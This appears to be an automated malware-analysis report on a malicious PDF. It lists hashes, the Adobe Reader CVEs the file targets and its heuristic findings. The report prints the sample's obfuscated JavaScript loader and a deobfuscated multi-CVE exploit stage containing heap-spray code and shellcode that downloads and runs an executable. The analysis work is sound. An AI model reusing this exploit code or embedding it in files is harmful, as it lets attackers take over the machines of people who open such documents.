Malicious PDF — malware analysis report

Static analysis result for SHA-256 38163460b5edcd9b…

MALICIOUS

PDF

5.3 KB Created: 2010-08-17 12:47:46 Authoring application: Liconadauarowa (via 9158dCauouosipazo) First seen: 2026-05-10
MD5: 2a7cf4a9ed2092250f3a500a9d0ffcf1 SHA-1: 061a66497db2b224e21e481fa4383754bcb7d95e SHA-256: 38163460b5edcd9ba1caeccafa8e9cd36a8968de216f5ae7634762279af4d336
468 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript with an eval() call, indicating an attempt to execute arbitrary code. The heuristics suggest obfuscation and suspicious script content. While the exact payload is unclear due to obfuscation, the presence of eval() strongly suggests the script is designed to download and execute a second-stage payload. The document body is unreadable, providing no further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    {
return 'var 77rCL = 7158 ;var nEJ = thi77s;Jv7arJ7 mL=J\'getPa\'7+\'geNthW\'7+\'JJoJ7rd\';var JvK=\'getP\'+\'ageNu77\'+\'JJmWor\'+\'ds\';7Jvar gRJ=\'f7rom\'+\'CharCo\'7+\'dJe\'J7;var7 pG=\'pag7JeN\'+\'um\';JJvar iBA=nE[J7vJJK]J(nJJE[pG]);vaJ7r77 mB77=7J\'\';forJ(var tU7V=0;tUV7< J7iBA; tUV++){mB=[mB,nE[mL](nJ7E[pG],tUV,t7Jrue)]JJ.joiJn(\'\')7;7;7}var 7lK=\'\';77for(7vJar tUV=0;t77UV < mB.leng7th; tUV+=2J7){j77Q7J=mB.JsubstrJ7(tUVJ,277);lK=[lK,Str7in77g[gRJ]J(Jparse7Int(j7Q,1J67)^J7rCL)]77.joiJn( …
}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ahrudk.egh/4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xFBF 738 bytes
SHA-256: d61d482c6433952270c36196ace48df73af3643d59a9d9f3780f823e0255291f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
bA=waitForBody();
var wPI=focusCommandLine();
var iX=new this[wPI](bA); 

function focusCommandLine(){
return 'FuncGtGGion'.replace(/[G]/g, '');
}

function waitForBody()
{
return 'var 77rCL = 7158 ;var nEJ = thi77s;Jv7arJ7 mL=J\'getPa\'7+\'geNthW\'7+\'JJoJ7rd\';var JvK=\'getP\'+\'ageNu77\'+\'JJmWor\'+\'ds\';7Jvar gRJ=\'f7rom\'+\'CharCo\'7+\'dJe\'J7;var7 pG=\'pag7JeN\'+\'um\';JJvar iBA=nE[J7vJJK]J(nJJE[pG]);vaJ7r77 mB77=7J\'\';forJ(var tU7V=0;tUV7< J7iBA; tUV++){mB=[mB,nE[mL](nJ7E[pG],tUV,t7Jrue)]JJ.joiJn(\'\')7;7;7}var 7lK=\'\';77for(7vJar tUV=0;t77UV < mB.leng7th; tUV+=2J7){j77Q7J=mB.JsubstrJ7(tUVJ,277);lK=[lK,Str7in77g[gRJ]J(Jparse7Int(j7Q,1J67)^J7rCL)]77.joiJn(\'\');}eval(lK77);lK=null;'.replace(/[7J]/g, '');
}    

iX();
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 4862 bytes
SHA-256: 37a9f1a804a7351d64be5ad8d6f960c420241e6f01e605d326427d04a0745975
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
v={h:30626};sB={};var yT='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';try {var hM='tU'.substring(26727)} catch(hM){};try {var hU='oP'.substring(5107)} catch(hU){};var d=this.info['t'].replace(/[\s]/g, '');var xK="xK";try {var lA='sBM'.substr(14201,14201)} catch(lA){};try {var jI='yL'.substr(12965,12965)} catch(jI){};var tUP = this.info;var lUP = (tUP.producer.substr(0,5) == 'debug');var z = new Array(); var xI = "%u";function gV(str){str = str.split(xI);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function zI(str1, str2){return [str1, str2].join("");}function iZ(tUZ){var vS = cH();var f = p();vS += ((vS.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + f;if(lUP) app.alert("URL: " + vS);var d=xI;var jQ="\x50\x53\x51\x52\x56\x57\x55\x9C\xE8\x00\x00\x00\x00\x5D\x83\xED\x0D\x31\xC0\x64\x03\x40\x30\x78\x10\x8B\x40\x0C\x8B\x70\x14\xAD\x89\xC0\x89\xC0\x8B\x40\x10\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x56\x57\xBE\xE2\x00\x00\x00\x01\xEE\xBF\xD2\x00\x00\x00\x01\xEF\xE8\x56\x01\x00\x00\x5F\x5E\x89\xEA\x81\xC2\xE2\x00\x00\x00\x52\x68\x80\x00\x00\x00\xFF\x95\xD2\x00\x00\x00\x89\xEA\x81\xC2\xE2\x00\x00\x00\x31\xF6\x01\xC2\x8A\x9C\x35\xE7\x01\x00\x00\x80\xFB\x00\x74\x06\x88\x1C\x32\x46\xEB\xEE\xC6\x04\x32\x00\x89\xEA\x81\xC2\xC9\x01\x00\x00\x52\xFF\x95\xD6\x00\x00\x00\x89\xEA\x81\xC2\xD4\x01\x00\x00\x52\x50\xFF\x95\xDA\x00\x00\x00\x6A\x00\x6A\x00\x89\xEA\x81\xC2\xE2\x00\x00\x00\x52\x89\xEA\x81\xC2\xF4\x01\x00\x00\x52\x6A\x00\xFF\xD0\x6A\x05\x89\xEA\x81\xC2\xE2\x00\x00\x00\x52\xFF\x95\xDE\x00\x00\x00\x9D\x5D\x5F\x5E\x5A\x59\x5B\x58\xC3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x47\x65\x74\x54\x65\x6D\x70\x50\x61\x74\x68\x41\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x57\x69\x6E\x45\x78\x65\x63\x00\xBB\x89\xF2\x89\xF7\x30\xC0\xAE\x75\xFD\x29\xF7\x89\xF9\x31\xC0\xBE\x3C\x00\x00\x00\x03\xB5\x9F\x01\x00\x00\x66\xAD\x03\x85\x9F\x01\x00\x00\x8B\x70\x78\x83\xC6\x1C\x03\xB5\x9F\x01\x00\x00\x8D\xBD\xA3\x01\x00\x00\xAD\x03\x85\x9F\x01\x00\x00\xAB\xAD\x03\x85\x9F\x01\x00\x00\x50\xAB\xAD\x03\x85\x9F\x01\x00\x00\xAB\x5E\x31\xDB\xAD\x56\x03\x85\x9F\x01\x00\x00\x89\xC6\x89\xD7\x51\xFC\xF3\xA6\x59\x74\x04\x5E\x43\xEB\xE9\x5E\x93\xD1\xE0\x03\x85\xAB\x01\x00\x00\x31\xF6\x96\x66\xAD\xC1\xE0\x02\x03\x85\xA3\x01\x00\x00\x89\xC6\xAD\x03\x85\x9F\x01\x00\x00\xC3\xEB\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x89\x85\x9F\x01\x00\x00\x56\x57\xE8\x58\xFF\xFF\xFF\x5F\x5E\xAB\x01\xCE\x80\x3E\xBB\x74\x02\xEB\xED\xC3\x55\x52\x4C\x4D\x4F\x4E\x2E\x44\x4C\x4C\x00\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x54\x6F\x46\x69\x6C\x65\x41\x00\x31\x32\x33\x34\x35\x36\x37\x38\x2E\x65\x78\x65\x00";jQ+=vS;jQ+="\x00\x90";return jQ;};function cH(){var kZ = (tUP.author + tUP.title).replace(/[\s]/g, '');var rC = eF(kZ, d, yT);return rC;};function eF(kZ, yT, d){var rC="";for(var i=0; i < kZ.length; i++){var vIR = yT.indexOf(kZ[i]);if(vIR > -1 ){rC += d[vIR];}}return rC;};function zG(kZ){var out = "";kZ = mJ(kZ);g = Math.round(kZ.length / 4);if (g != kZ.length /4) kZ+="00";for(var i=0; i < kZ.length; i+=4){out+= xI + kZ.substr(i+2, 2) + kZ.substr(i, 2);}return out;};function mJ(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function vUR(xM, len){while (xM.length * 2 < len){xM = zI(xM, xM);}return xM.substring(0, len / 2);};function cB(lC){var kL = 0x0c0c0c0c;        pM = iZ("pdf");if (lC == 1){kL = 0x30303030;}var sJ = 0x400000;var ln = pM.length * 2;var vY = sJ - (ln + 0x38);var xM = gV(xI+"9090"+xI+"9090"); xM = vUR(xM, vY);var uL = (kL - 0x400000) / sJ;for (var nM = 0; nM < uL; nM ++ ){z[nM] = zI(xM, pM);}};function p(){try {return app.viewerVersion.toString();}catch(aHE){    return 0;}}if(lUP) app.alert("called exploit");var f = p();if(lUP)  app.alert("v: " + f);if (f > 8){if(lUP) app.alert("util.printf");cB(1);var eH = "12999999999999999999";for (nW=0; nW < 276; nW++) eH += "8";util.printf("%45000f", eH);}if (f < 8){if(lUP) app.alert("Collab.collectEmailInfo");cB(0);var wH = gV(xI+"0c0c"+xI+"0c0c");while (wH.length < 44952) wH += wH;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : wH});}if (f < 9.1){if (app.doc.Collab.getIcon){if(lUP) app.alert("Collab.getIcon");cB(0);var pS = unescape("%09");while (pS.length < 0x4000) pS += pS;pS = "N." + pS;app.doc.Collab.getIcon(pS);}}if (f == 9.2){if(lUP) app.alert("media.newPlayer");cB(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}var nC=["gT","vC","iB"];this.b=13612;this.b++;try {var eL='jM'} catch(eL){};var r=[];@�� �@�� �@�� �@�� �$Ύ���Ύ���

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